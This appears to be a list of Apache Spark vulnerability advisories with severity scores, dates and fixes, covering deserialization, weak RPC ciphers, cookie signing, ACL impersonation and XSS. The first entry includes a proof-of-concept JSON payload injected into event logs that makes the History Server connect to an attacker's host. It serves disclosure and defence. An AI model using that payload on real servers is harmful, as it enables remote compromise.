This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
CVSS Score
8.8
EPSS Score
0.002
Published
2026-03-16
This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0.
Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes.
When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication.
This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows.
To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or
enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security.
CVSS Score
6.5
EPSS Score
0.001
Published
2025-10-15
Signing cookies is an application security feature that adds a digital signature to cookie data to verify its authenticity and integrity. The signature helps prevent malicious actors from modifying the cookie value, which can lead to security vulnerabilities and exploitation. Apache Hive’s service component accidentally exposes the signed cookie to the end user when there is a mismatch in signature between the current and expected cookie. Exposing the correct cookie signature can lead to further exploitation.
The vulnerable CookieSigner logic was introduced in Apache Hive by HIVE-9710 (1.2.0) and in Apache Spark by SPARK-14987 (2.0.0). The affected components are the following:
* org.apache.hive:hive-service
* org.apache.spark:spark-hive-thriftserver_2.11
* org.apache.spark:spark-hive-thriftserver_2.12
CVSS Score
5.9
EPSS Score
0.065
Published
2024-12-23
** UNSUPPORTED WHEN ASSIGNED ** The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This issue was disclosed earlier as CVE-2022-33891, but incorrectly claimed version 3.1.3 (which has since gone EOL) would not be affected.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Users are recommended to upgrade to a supported version of Apache Spark, such as version 3.4.0.
CVSS Score
8.8
EPSS Score
0.922
Published
2023-05-02
In Apache Spark versions prior to 3.4.0, applications using spark-submit can specify a 'proxy-user' to run as, limiting privileges. The application can execute code with the privileges of the submitting user, however, by providing malicious configuration-related classes on the classpath. This affects architectures relying on proxy-user, for example those using Apache Livy to manage submitted applications.
Update to Apache Spark 3.4.0 or later, and ensure that
spark.submit.proxyUser.allowCustomClasspathInClusterMode is set to its
default of "false", and is not overridden by submitted applications.
CVSS Score
6.4
EPSS Score
0.004
Published
2023-04-17
A stored cross-site scripting (XSS) vulnerability in Apache Spark 3.2.1 and earlier, and 3.3.0, allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload into the logs which would be returned in logs rendered in the UI.
CVSS Score
5.4
EPSS Score
0.001
Published
2022-11-01
CVE-2022-33891
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
Known exploited
CVSS Score
8.8
EPSS Score
0.935
Published
2022-07-18
Apache Spark supports end-to-end encryption of RPC connections via "spark.authenticate" and "spark.network.crypto.enabled". In versions 3.1.2 and earlier, it uses a bespoke mutual authentication protocol that allows for full encryption key recovery. After an initial interactive attack, this would allow someone to decrypt plaintext traffic offline. Note that this does not affect security mechanisms controlled by "spark.authenticate.enableSaslEncryption", "spark.io.encryption.enabled", "spark.ssl", "spark.ui.strictTransportSecurity". Update to Apache Spark 3.1.3 or later
CVSS Score
7.5
EPSS Score
0.009
Published
2022-03-10
In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).
CVSS Score
9.8
EPSS Score
0.916
Published
2020-06-23
Prior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.
CVSS Score
7.5
EPSS Score
0.005
Published
2019-08-07
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